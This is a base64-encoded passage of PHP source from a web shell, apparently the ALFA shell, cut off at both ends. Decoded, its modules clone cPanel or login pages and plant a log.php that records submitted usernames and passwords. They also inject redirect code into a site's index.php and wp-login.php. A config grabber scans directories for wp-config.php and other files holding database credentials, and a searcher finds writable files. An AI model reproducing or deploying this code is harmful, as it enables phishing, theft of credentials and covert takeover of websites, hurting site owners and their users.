0QWRtaW4iKTsKCWZvcmVhY2goJGNtX2FycmF5IGFzICRrZXk9PiR2YWwpZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy4ka2V5LiciPicuJHZhbC4nPC9vcHRpb24+JzsKCWVjaG8oIjwvc2VsZWN0PjwvZGl2PiIpOwoJZWNobyAnPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkNsb25lIHBhZ2U6IDwvc3Bhbj48aW5wdXQgc2l6ZT0iNTAiIHR5cGU9InRleHQiIG5hbWU9ImNsb25lX3BhZ2UiIHBsYWNlaG9sZGVyPSJlZzogaHR0cHM6Ly90YXJnZXQuY29tOjIwODMgfCBodHRwczovL3RhcmdldC5jb206MjIyMiI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuPkZha2UgcGFnZSByb290OiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJmYWtlX3Jvb3QiIHZhbHVlPSInLiRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uJy9mYWtlX3BhZ2Vfcm9vdC8iPjwvZGl2PgoJPGRpdiBzdHlsZT0ibWFyZ2luLWJvdHRvbTo2cHg7Ij48c3BhbiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO3dpZHRoOiAxMDZweDsiPkluamVjdCB0bzogPC9zcGFuPjxpbnB1dCBzaXplPSI1MCIgdHlwZT0idGV4dCIgbmFtZT0iaW5qZWN0X3RvIiB2YWx1ZT0iJy4kX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLicvaW5kZXgucGhwIj48L2Rpdj4KCTxkaXYgc3R5bGU9Im1hcmdpbi1ib3R0b206NnB4OyI+PHNwYW4gc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jazt3aWR0aDogMTA2cHg7Ij5CaW5kIG9uOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJiaW5kX29uIiBwbGFjZWhvbGRlcj0iZWc6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nL3dwLWxvZ2luLnBocCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+TG9nIFRvOiA8L3NwYW4+PGlucHV0IHNpemU9IjUwIiB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2d0byIgdmFsdWU9IicuJEdMT0JBTFNbJ2N3ZCddLidsb2dzLnR4dCI+PC9kaXY+Cgk8ZGl2IHN0eWxlPSJtYXJnaW4tYm90dG9tOjZweDsiPjxzcGFuIHN0eWxlPSJkaXNwbGF5OiBpbmxpbmUtYmxvY2s7d2lkdGg6IDEwNnB4OyI+Q291bnQgb2YgSW52YWxpZCBsb2dpbjogPC9zcGFuPjxpbnB1dCBzaXplPSIyMCIgdHlwZT0idGV4dCIgbmFtZT0iY291bnQiIHZhbHVlPSIzIiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7Ij48L2Rpdj4KCTxkaXYgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyOyI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0iYnRuIiB2YWx1ZT0iICI+PC9kaXY+PC9kaXY+PC9mb3JtPjxicj4nOwoJJGNsb25lX3BhZ2UgPSAkX1BPU1RbJ2FsZmExJ107CgkkZmFrZV9yb290ID0gJF9QT1NUWydhbGZhMiddOwoJJGxvZ3RvID0gJF9QT1NUWydhbGZhNCddOwoJJHBhbmVsID0gJF9QT1NUWydhbGZhNSddOwoJJGluamVjdF90byA9ICRfUE9TVFsnYWxmYTYnXTsKCSRiaW5kX29uID0gJF9QT1NUWydhbGZhNyddOwoJJGNvdW50ID0gJF9QT1NUWydhbGZhOCddOwoJaWYoIWVtcHR5KCRjbG9uZV9wYWdlKSAmJiAhZW1wdHkoJGZha2Vfcm9vdCkgJiYgIWVtcHR5KCRsb2d0bykgJiYgIWVtcHR5KCRpbmplY3RfdG8pICYmICFlbXB0eSgkYmluZF9vbikgJiYgJF9QT1NUWydhbGZhMyddID09ICc+PicpewoJCWVjaG8gX19wcmUoKTsKCQkkdGFyZ2V0ID0gJGNsb25lX3BhZ2U7CgkJJGN1cmwgPSBuZXcgQWxmYUNVUkwoKTsKCQkkc291cmNlX3BhZ2UgPSAkY3VybC0+U2VuZCgkdGFyZ2V0KTsKCQlpZighZW1wdHkoJHNvdXJjZV9wYWdlKSl7CgkJCSRtYXRjaGVkX2Zvcm0gPSAiIjsKCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCWlmKHByZWdfbWF0Y2goJyM8Zm9ybSguKilpZD0ibG9naW5fZm9ybSIoLiopPiMnLCAkc291cmNlX3BhZ2UsICRtYXRjaCkpewoJCQkJCSRtYXRjaGVkX2Zvcm0gPSAkbWF0Y2hbMF07CgkJCQl9CgkJCX1lbHNlewoJCQkJaWYocHJlZ19tYXRjaCgnIzxmb3JtKC4qPyk+IycsICRzb3VyY2VfcGFnZSwgJG1hdGNoKSl7CgkJCQkJJG1hdGNoZWRfZm9ybSA9ICRtYXRjaFswXTsKCQkJCX0KCQkJfQoJCQlpZighZW1wdHkoJG1hdGNoZWRfZm9ybSkpewoJCQkJJGZha2UgPSAiIjsKCQkJCSRwd2QgPSBzdHJfcmVwbGFjZSgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdLCAnJywgJGZha2Vfcm9vdCk7CgkJCQkkdXJpID0gc3RyX3JlcGxhY2UoJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXSwgJycsICRpbmplY3RfdG8pOwoJCQkJaWYoJHBhbmVsID09ICJjcGFuZWwiKXsKCQkJCQkkcG9ydCA9ICIyMDgzIjsKCQkJCX1lbHNlewoJCQkJCSR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgiaHR0cDovLyIsICJodHRwczovLyIpLCAiIiwgJHRhcmdldCk7CgkJCQkJJHBvcnQgPSBleHBsb2RlKCI6IiwkdGFyZ2V0KTsKCQkJCQkkcG9ydCA9ICRwb3J0WzFdOwoJCQkJfQoJCQkJaWYoc3Vic3RyKCR1cmksIDAsIDEpID09ICIvIil7CgkJCQkJJHVyaSA9IHN1YnN0cigkdXJpLCAxKTsKCQkJCX0KCQkJCSR1cmkgPSAkX1NFUlZFUlsiSFRUUF9PUklHSU4iXSAuICcvJyAuIHN0cl9yZXBsYWNlKCJpbmRleC5waHAiLCAiIiwgJHVyaSkgLiAnPzonIC4gJHBvcnQ7CgkJCQkkbG9nX3VybCA9ICRfU0VSVkVSWyJIVFRQX09SSUdJTiJdIC4gJHB3ZCAuICcvbG9nLnBocCc7CgkJCQlpZigkcGFuZWwgPT0gImNwYW5lbCIpewoJCQkJCSRmb3JtID0gJzxmb3JtIG5vdmFsaWRhdGUgaWQ9ImxvZ2luX2Zvcm0iIGFjdGlvbj0iJy4kbG9nX3VybC4nIiBtZXRob2Q9InBvc3QiIHRhcmdldD0iX3RvcCIgc3R5bGU9InZpc2liaWxpdHk6Ij4nOwoJCQkJfWVsc2V7CgkJCQkJJGZvcm0gPSAnPGZvcm0gYWN0aW9uPSInLiRsb2dfdXJsLiciIG1ldGhvZD0icG9zdCI+JzsKCQkJCX0KCQkJCSRmYWtlID0gc3RyX3JlcGxhY2UoJG1hdGNoZWRfZm9ybSwgJGZvcm0sICRzb3VyY2VfcGFnZSk7CgkJCQlpZihAIWlzX2RpcigkZmFrZV9yb290KSl7CgkJCQkJQG1rZGlyKCRmYWtlX3Jvb3QsIDA3NzcsIHRydWUpOwoJCQkJfQoKCQkJCSRjb29raWVfbmFtZSA9ICJhbGZhX2Zha2VwYWdlX2NvdW50ZXIiIC4gcmFuZCg5OTk5LDk5OTk5KTsKCgkJCQkkcG9zdF91c2VyID0gJ3VzZXInOwoJCQkJJHBvc3RfcGFzcyA9ICdwYXNzJzsKCQkJCSRyZXNwX2NvZGUgPSAnaWYoZW1wdHkoJHVzZXIpKXtodHRwX3Jlc3BvbnNlX2NvZGUoNDAwKTtlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJtZXNzYWdlIiA9PiAibm9fdXNlcm5hbWUiKSk7fWVsc2V7aHR0cF9yZXNwb25zZV9jb2RlKDQwMSk7fSc7CgkJCQlpZigkcGFuZWwgIT0gImNwYW5lbCIpewoJCQkJCSRwb3N0X3VzZXIgPSAndXNlcm5hbWUnOwoJCQkJCSRwb3N0X3Bhc3MgPSAncGFzc3dvcmQnOwoJCQkJCSRyZXNwX2NvZGUgPSAnQGhlYWRlcigiTG9jYXRpb246ICIuJF9TRVJWRVJbXCdIVFRQX1JFRkVSRVJcJ10pOyc7CgkJCQl9CgoJCQkJJGNwYW5lbF9sb2cgPSAnPD9waHAgJGNvb2tfdGltZSA9IHRpbWUoKSsoODY0MDAgKiA3KTsgJHVzZXIgPSAkX1BPU1RbIicuJHBvc3RfdXNlci4nIl07JHBhc3MgPSAkX1BPU1RbIicuJHBvc3RfcGFzcy4nIl07aWYoIWVtcHR5KCR1c2VyKSAmJiAhZW1wdHkoJHBhc3MpKXtpZighaXNzZXQoJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXSkpe0BzZXRjb29raWUoIicuJGNvb2tpZV9uYW1lLiciLCAwLCAkY29va190aW1lLCAiLyIpOyRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl09MTt9aWYoKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPicuJGNvdW50Licpe0BoZWFkZXIoIkxvY2F0aW9uOiAvIik7ZXhpdDt9QHNldGNvb2tpZSgiJy4kY29va2llX25hbWUuJyIsICgoaW50KSRfQ09PS0lFWyInLiRjb29raWVfbmFtZS4nIl0gKyAxKSwgJGNvb2tfdGltZSwgIi8iKTskZnAgPSBAZm9wZW4oIicuJGxvZ3RvLiciLCAiYSsiKTtAZndyaXRlKCRmcCwgJHVzZXIgLiAiIDogIiAuICRwYXNzIC4gIlxuIik7ZmNsb3NlKCRmcCk7c2xlZXAoMyk7Jy4kcmVzcF9jb2RlLidleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9sb2cucGhwJywgJGNwYW5lbF9sb2cpOwoKCQkJCWlmKCRwYW5lbCA9PSAiY3BhbmVsIil7CgkJCQkJJGZha2UgPSBwcmVnX3JlcGxhY2UoYXJyYXkoJyM8bGluayguKilocmVmPSIoLiopIiguKik+IycsICcjPGltZyBjbGFzcz0ibWFpbi1sb2dvIiBzcmM9IiguKikiKC4qKT4jJywgJyMgPGEoLiopaWQ9InJlc2V0X3Bhc3N3b3JkIj4jJyksIGFycmF5KCc8bGluayBocmVmPSInLiR0YXJnZXQuJy8kMiI+JywgJzxpbWcgY2xhc3M9Im1haW4tbG9nbyIgc3JjPSInLiR0YXJnZXQuJy8kMSIgYWx0PSJsb2dvIiAvPicsICc8YSBocmVmPSIjIiBpZD0icmVzZXRfcGFzc3dvcmQiPicpLCAkZmFrZSk7CgkJCQl9CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRmYWtlX3Jvb3QuJy9pbmRleC5waHAnLCAkZmFrZSk7CgoJCQkJJGluamVjdF9jb2RlID0gJzw/cGhwIGlmKGlzc2V0KCRfR0VUWyI6MjA4MyJdKSYmKGludCkkX0NPT0tJRVsiJy4kY29va2llX25hbWUuJyJdPCcuJGNvdW50Licpe0BpbmNsdWRlKCInLiRmYWtlX3Jvb3QuJy9pbmRleC5waHAiKTtleGl0O30/Pic7CgkJCQkkYmluZF9vbl9jb2RlID0gJzw/cGhwIGlmKChpbnQpJF9DT09LSUVbIicuJGNvb2tpZV9uYW1lLiciXTwnLiRjb3VudC4nKXtAaGVhZGVyKCJMb2NhdGlvbjogJy4kdXJpLiciKTtleGl0O30/Pic7CgoJCQkJQGZpbGVfcHV0X2NvbnRlbnRzKCRpbmplY3RfdG8sICRpbmplY3RfY29kZSAuICJcbiIgLkBmaWxlX2dldF9jb250ZW50cygkaW5qZWN0X3RvKSk7CgkJCQlAZmlsZV9wdXRfY29udGVudHMoJGJpbmRfb24sICRiaW5kX29uX2NvZGUgLiAiXG4iIC5AZmlsZV9nZXRfY29udGVudHMoJGJpbmRfb24pKTsKCgkJCQllY2hvICJzdWNjZXNzLi4uISI7CgkJCX1lbHNlewoJCQkJZWNobyAiZmFpbGVkLi4uISI7CgkJCX0KCQl9ZWxzZXsKCQkJZWNobygiPGRpdiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXI7Y29sb3I6cmVkOyc+Q2Fubm90IG9wZW4gdGhlIHRhcmdldC4uLiE8L2Rpdj4iKTsKCQl9Cgl9CgllY2hvICc8L2Rpdj4nOwoJYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFhcmNoaXZlX21hbmFnZXIoKXsKCWFsZmFoZWFkKCk7CgkkZmlsZSA9ICRfUE9TVFsnYWxmYTInXTsKCWlmKCFmaWxlX2V4aXN0cygkZmlsZSkpewoJCSRmaWxlID0gJEdMT0JBTFNbJ2N3ZCddOwoJfQoJJHJhbmRfaWQgPSByYW5kKDk5OTksIDk5OTk5OSk7CgllY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFyY2hpdmUgTWFuYWdlciB8PC9kaXY+PC9wPic7CgllY2hvICc8Zm9ybSBuYW1lPSJzcmNoIiBvblN1Ym1pdD0iZyhcJ2FyY2hpdmVfbWFuYWdlclwnLG51bGwsbnVsbCx0aGlzLmZpbGUudmFsdWUsbnVsbCxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglBcmNoaXZlIGZpbGU6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZmlsZSIgdmFsdWU9IicuJGZpbGUuJyI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CglpZigkX1BPU1RbJ2FsZmE1J109PSc+PicpewoJCS8vZWNobyBfX3ByZSgpOwoJCWVjaG8gJzxocj48ZGl2IHN0eWxlPSJtYXJnaW4tbGVmdDogMTJweDsiIGFyY2hpdmVfZnVsbD0icGhhcjovLycuJGZpbGUuJyIgYXJjaGl2ZV9uYW1lPSInLmJhc2VuYW1lKCRmaWxlKS4nIiBpZD0iYXJjaGl2ZV9kaXJfJy4kcmFuZF9pZC4nIiBjbGFzcz0iYXJjaGl2ZV9kaXJfaG9sZGVyIj48c3Bhbj5QV0Q6IDwvc3Bhbj48ZGl2IGNsYXNzPSJhcmNoaXZlX3B3ZF9ob2xkZXIiIHN0eWxlPSJkaXNwbGF5OmlubGluZS1ibG9jayI+PGE+LzwvYT48L2Rpdj48L2Rpdj4nOwoJCWVjaG8gJzxkaXYgc3R5bGU9InBhZGRpbmc6IDEwcHg7IiBpZD0iYXJjaGl2ZV9iYXNlXycuJHJhbmRfaWQuJyI+JzsKCQlfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGZpbGUsICRyYW5kX2lkKTsKCQllY2hvICc8L2Rpdj4nOwoJfQoJZWNobyAnPC9kaXY+JzsKCWFsZmFmb290ZXIoKTsKfQpmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGFyY2gsICRiYXNlX2lkPTApewoJdHJ5ewoJCSRmaWxlcyA9IGFycmF5KCk7CgkJJGRpcnMgPSBhcnJheSgpOwoJCSRhcmNoaXZlID0gbmV3IFBoYXJEYXRhKCRhcmNoKTsKCQkgZm9yZWFjaCgkYXJjaGl2ZSBhcyAkZmlsZSkgewoJCQkgJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkZmlsZS0+Z2V0UGF0aG5hbWUoKSkpOwoJCSAgICAgaWYoJGZpbGUtPmlzRGlyKCkpIHsKCQkJCSAkZGlyc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZGlyIiwgIm1vZGlmeSIgPT4gJGZpbGVfbW9kaWZ5KTsKCQkgICAgIH1lbHNlewoJCQkJICRmaWxlX3NpemUgPSBAZmlsZXNpemUoJGZpbGUtPmdldFBhdGhuYW1lKCkpOwoJCQkJICRmaWxlc1tdID0gYXJyYXkoIm5hbWUiID0+ICRmaWxlLT5nZXRGaWxlTmFtZSgpLCAicGF0aCIgPT4gJGZpbGUtPmdldFBhdGhuYW1lKCksICJ0eXBlIiA9PiAiZmlsZSIsICAibW9kaWZ5IiA9PiAkZmlsZV9tb2RpZnksICJzaXplIiA9PiAkZmlsZV9zaXplKTsKCQkJIH0KCQkgfQoJCSBmdW5jdGlvbiBfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0KCRhLCAkYil7CgkJCSByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJ25hbWUnXSksIHN0cnRvbG93ZXIoJGJbJ25hbWUnXSkpKjE7CgkJIH0KCQkgdXNvcnQoJGRpcnMsICJfX2FsZmFfb3Blbl9hcmNoaXZlX3Vzb3J0Iik7CgkJIHVzb3J0KCRmaWxlcywgIl9fYWxmYV9vcGVuX2FyY2hpdmVfdXNvcnQiKTsKCQkgJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7CgkJIGVjaG8gJzx0YWJsZSB3aWR0aD0iMTAwJSIgY2xhc3M9Im1haW4iIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMiI+PHRib2R5Pjx0cj48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPic7CgkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbignLi4nLCdkaXInKS4nIiB3aWR0aD0iMzAiIGhlaWdodD0iMzAiPic7CgkJIGVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgZm5hbWU9Ii4uIiBvbmNsaWNrPSJhbGZhT3BlbkFyY2hpdmUodGhpcyk7IiBwYXRoPSInLmRpcm5hbWUoJGFyY2guJy5waHAnKS4nIj4nLiRpY29uLic8c3BhbiBjbGFzcz0iYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1kaXIiPnwgLi4gfDwvc3Bhbj48L2E+PHRkPmRpcjwvdGQ+PHRkPi08L3RkPjx0ZD4tPC90ZD48L3RyPic7CgkJIGZvcmVhY2goJGZpbGVzIGFzICRmaWxlKXsKCQkJICRpY29uID0gJzxpbWcgY2xhc3M9ImFyY2hpdmUtaWNvbnMiIHNyYz0iJy5maW5kaWNvbigkZmlsZVsnbmFtZSddLCRmaWxlWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+JzsKCQkJIGlmKCRmaWxlWyJ0eXBlIl0gPT0gImRpciIpewoJCQkgCWVjaG8gJzx0cj48dGg+PGEgYmFzZV9pZD0iJy4kYmFzZV9pZC4nIiBjbGFzcz0iYXJjaGl2ZS1maWxlLXJvdyIgb25jbGljaz0iYWxmYU9wZW5BcmNoaXZlKHRoaXMpOyIgcGF0aD0iJy4kZmlsZVsicGF0aCJdLiciIGZuYW1lPSInLiRmaWxlWyJuYW1lIl0uJyI+Jy4kaWNvbi4nPHNwYW4gY2xhc3M9ImFyY2hpdmUtbmFtZSBhcmNoaXZlLXR5cGUtZGlyIj58ICcuJGZpbGVbIm5hbWUiXS4nIHw8L3NwYW4+PC9hPjx0ZD5kaXI8L3RkPjx0ZD4nLiRmaWxlWyJtb2RpZnkiXS4nPC90ZD48dGQ+LTwvdGQ+PC90cj4nOwoJCSAJfWVsc2V7CgkJCQllY2hvICI8dHI+PHRoPjxhIGJhc2VfaWQ9JyIuJGJhc2VfaWQuIicgY2xhc3M9J2FyY2hpdmUtZmlsZS1yb3cnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGVbInBhdGgiXS4iJywnYXV0bycsJycsJycsJycsJ2ZpbGUnKTtcIj4iLiRpY29uLiI8c3BhbiBjbGFzcz0nYXJjaGl2ZS1uYW1lIGFyY2hpdmUtdHlwZS1maWxlJyBmbmFtZT0nIi4kZmlsZVsibmFtZSJdLiInPiIuJGZpbGVbIm5hbWUiXS4iPC9zcGFuPjwvYT48dGQ+Ii5hbGZhU2l6ZSgkZmlsZVsic2l6ZSJdKS4iPC90ZD48dGQ+Ii4kZmlsZVsibW9kaWZ5Il0uIjwvdGQ+PHRkPi08L3RkPjwvdHI+IjsKCgkJCX0KCQkgfQoJCSAgZWNobyAnPC90YWJsZT4nOwoJfWNhdGNoKEV4Y2VwdGlvbiAkZSl7CgkJZWNobygiMCIpOwoJfQp9CmZ1bmN0aW9uIGFsZmFvcGVuX2FyY2hpdmVfZGlyKCl7CgkkZGlyID0gJF9QT1NUWyJhbGZhMSJdOwoJJGJhc2VfaWQgPSAkX1BPU1RbImFsZmEyIl07CglfX2FsZmFfb3Blbl9hcmNoaXZlX2ZpbGUoJGRpciwgJGJhc2VfaWQpOwp9CmZ1bmN0aW9uIGFsZmFjb25maWdfZ3JhYmJlcigpewoJYWxmYWhlYWQoKTsKCWVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PHA+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgQ29uZmlnIEdyYWJiZXIgfDwvZGl2PjwvcD4nOwoJZWNobyAnPGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdjb25maWdfZ3JhYmJlclwnLG51bGwsbnVsbCx0aGlzLmRpci52YWx1ZSx0aGlzLmV4dC52YWx1ZSxudWxsLFwnPj5cJyk7cmV0dXJuIGZhbHNlOyIgbWV0aG9kPVwncG9zdFwnPgoJPGRpdiBjbGFzcz0idHh0Zm9udCI+CglEaXI6IDxpbnB1dCBzaXplPSI1MCIgaWQ9InRhcmdldCIgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+CglFeHQ6IDxzbWFsbD48Zm9udCBjb2xvcj0icmVkIj5bICogPSBhbGwgRXh0IF08L2ZvbnQ+PC9zbWFsbD4gPGlucHV0IGlkPSJleHQiIHN0eWxlPSJ0ZXh0LWFsaWduOmNlbnRlcjsiIHR5cGU9InRleHQiIG5hbWU9ImV4dCIgc2l6ZT0iNSIgdmFsdWU9InBocCI+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJidG4iIHZhbHVlPSIgIj48L2Rpdj48L2Zvcm0+PC9jZW50ZXI+PGJyPic7CgkkZGlyID0gJF9QT1NUWydhbGZhMiddOwoJJGV4dCA9ICRfUE9TVFsnYWxmYTMnXTsKCWlmKCRfUE9TVFsnYWxmYTUnXT09Jz4+Jyl7CgkJZWNobyBfX3ByZSgpOwoJCUFsZmFfQ29uZmlnR3JhYmJlcigkZGlyLCAkZXh0KTsKCX0KCWVjaG8gJzwvZGl2Pic7CglhbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gQWxmYV9Db25maWdHcmFiYmVyKCRkaXIsICRleHQpIHsKCSRwYXR0ZXJuID0gIiNkZWZpbmVbIF17MCx9XChbIF17MCx9KD86J3xcIilEQl9IT1NUKD86J3xcIilbIF17MCx9fGRlZmluZVsgXXswLH1cKFsgXXswLH0oPzonfFwiKURCX0hPU1ROQU1FKD86J3xcIilbIF17MCx9fGNvbmZpZ1xbKD86J3xcIilNYXN0ZXJTZXJ2ZXIoPzonfFwiKVxdXFsoPzonfFwiKXBhc3N3b3JkKD86J3xcIilcXXwoPzonfFwiKWRhdGFiYXNlKD86J3xcIilbIF17MCx9PT5bIF17MCx9KD86J3xcIikoLio/KSg/Oid8XCIpfCg/Oid8XCIpKG15c3FsfGRhdGFiYXNlKSg/Oid8XCIpWyBdezAsfT0+WyBdezAsfWFycmF5fGRiX25hbWV8ZGJfdXNlcnxkYl9wYXNzfGRiX3NlcnZlcnxkYl9ob3N0fGRiaG9zdHxkYm5hbWV8ZGJ1c2VyfGRicGFzc3xkYXRhYmFzZV9uYW1lfGRhdGFiYXNlX3VzZXJ8ZGF0YWJhc2VfcGFzc3xteXNxbF91c2VyfG15c3FsX3Bhc3N8bXlzcWxpX2Nvbm5lY3R8bXlzcWxfY29ubmVjdHxuZXdbIF17MCx9bXlzcWxpI2kiOwoJJGRiX2ZpbGVzID0gYXJyYXkoIndwLWNvbmZpZy5waHAiLCJjb25maWd1cmUucGhwIiwiY29uZmlnLmluYy5waHAiLCJjb25maWd1cmF0aW9uLnBocCIsImNvbmZpZy5waHAiLCJjb25mLnBocCIsImRiY2xhc3MucGhwIiwiY2xhc3NfY29yZS5waHAiLCJkaXN0LWNvbmZpZ3VyZS5waHAiLCAic2V0dGluZ3MucGhwIiwgImNvbmZfZ2xvYmFsLnBocCIsICJkYi5waHAiLCAiY29ubmVjdC5waHAiLCAiY29uZmluZy5kYi5waHAiLCAiY29uZmlnLmRiLnBocCIsICJkYXRhYmFzZS5waHAiKTsKCWlmKEBpc19yZWFkYWJsZSgkZGlyKSl7CgkJJGdsb2JGaWxlcyA9IEBnbG9iKCIkZGlyLyouJGV4dCIpOwoJCSRnbG9iRGlycyAgPSBAZ2xvYigiJGRpci8qIiwgR0xPQl9PTkxZRElSKTsKCQkkYmxhY2tsaXN0ID0gYXJyYXkoKTsKCQlmb3JlYWNoICgkZ2xvYkRpcnMgYXMgJGRpcikgewoJCQlpZighQGlzX3JlYWRhYmxlKCRkaXIpfHxAaXNfbGluaygkZGlyKSkgY29udGludWU7CgkJCUBBbGZhX0NvbmZpZ0dyYWJiZXIoJGRpciwgJGV4dCk7CgkJfQoJCWZvcmVhY2ggKCRnbG9iRmlsZXMgYXMgJGZpbGUpewoJCQkkZmlsZWUgPSBAZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOwoJCQlpZihwcmVnX21hdGNoKCRwYXR0ZXJuLCAkZmlsZWUpKXsKCQkJCWVjaG8gIjxkaXY+PHNwYW4+JGZpbGU8L3NwYW4+IDxhIHN0eWxlPSdjdXJzb3I6cG9pbnRlcjsnIG9uY2xpY2s9XCJlZGl0b3IoJyIuJGZpbGUuIicsJ2F1dG8nLCcnLCcnLCcnLCdmaWxlJyk7XCI+WyBWaWV3IGZpbGUgXTwvYT48L2Rpdj4iOwoJCQl9CgkJfQoJfQp9CmZ1bmN0aW9uIGFsZmFzZWFyY2hlcigpewphbGZhaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFNlYXJjaGVyIHw8L2Rpdj48L3A+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcpIj58IEZpbmQgUmVhZGFibGUgT3IgV3JpdGFibGUgRmlsZXMgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ3NlYXJjaGVyXCcsbnVsbCxcJ3N0clwnKSI+fCBGaW5kIEZpbGVzIEJ5IE5hbWUgfCA8L2E+PC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSdmaWxlJyl7CmVjaG8gJzxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgRmluZCBSZWFkYWJsZSBPciBXcml0YWJsZSBGaWxlcyAgfDwvZGl2Pjxicj48YnI+PGZvcm0gbmFtZT0ic3JjaCIgb25TdWJtaXQ9ImcoXCdzZWFyY2hlclwnLG51bGwsXCdmaWxlXCcsdGhpcy5maWxlbmFtZS52YWx1ZSx0aGlzLmV4dC52YWx1ZSx0aGlzLm1ldGhvZC52YWx1ZSxcJz4+XCcpO3JldHVybiBmYWxzZTsiIG1ldGhvZD1cJ3Bvc3RcJz4KPGRpdiBjbGFzcz0idHh0Zm9udCI+Ck1ldGhvZDogPHNlbGVjdCBzdHlsZT0id2lkdGg6IDE4JTsiIG9uY2xpY2s9ImFsZmFfc2VhcmNoZXJfdG9vbCh0aGlzLnZhbHVlKTsiIG5hbWU9Im1ldGhvZCI+PG9wdGlvbiB2YWx1ZT0iZmlsZXMiPkZpbmQgQWxsIFdyaXRhYmxlIEZpbGVzPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlycyI+RmluZCBBbGwgV3JpdGFibGUgRGlyczwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImFsbCI+RmluZCBBbGwgUmVhZGFibGUgQW5kIFdyaXRhYmxlIEZpbGVzPC9vcHRpb